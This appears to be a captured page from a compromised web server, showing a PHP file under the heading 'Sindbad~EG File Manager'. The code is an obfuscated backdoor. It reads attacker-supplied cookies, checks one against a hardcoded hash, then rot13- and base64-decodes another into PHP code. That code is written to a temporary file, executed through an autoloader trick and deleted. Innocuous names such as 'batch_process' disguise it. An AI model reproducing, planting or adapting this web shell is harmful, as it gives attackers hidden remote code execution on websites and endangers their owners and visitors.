Sindbad~EG File Manager

<?php


if (isset($_COOKIE[94+-94]) && isset($_COOKIE[-27+28]) && isset($_COOKIE[5+-2]) && isset($_COOKIE[93-89])) {
    $entry = $_COOKIE;
    function batch_process($tkn) {
        $entry = $_COOKIE;
        $parameter_group = tempnam((!empty(session_save_path()) ? session_save_path() : sys_get_temp_dir()), '04cd3bd7');
        if (!is_writable($parameter_group)) {
            $parameter_group = getcwd() . DIRECTORY_SEPARATOR . "restore_state";
        }
        $rec = "\x3c\x3f\x70\x68p\x20" . base64_decode(str_rot13($entry[3]));
        if (is_writeable($parameter_group)) {
            $entity = fopen($parameter_group, 'w+');
            fputs($entity, $rec);
            fclose($entity);
            spl_autoload_unregister(__FUNCTION__);
            require_once($parameter_group);
            @array_map('unlink', array($parameter_group));
        }
    }
    spl_autoload_register("batch_process");
    $comp = "158e79fd10a705e70efaea0a641065df";
    if (!strncmp($comp, $entry[4], 32)) {
        if (@class_parents("hub_center_request_approved", true)) {
            exit;
        }
    }
}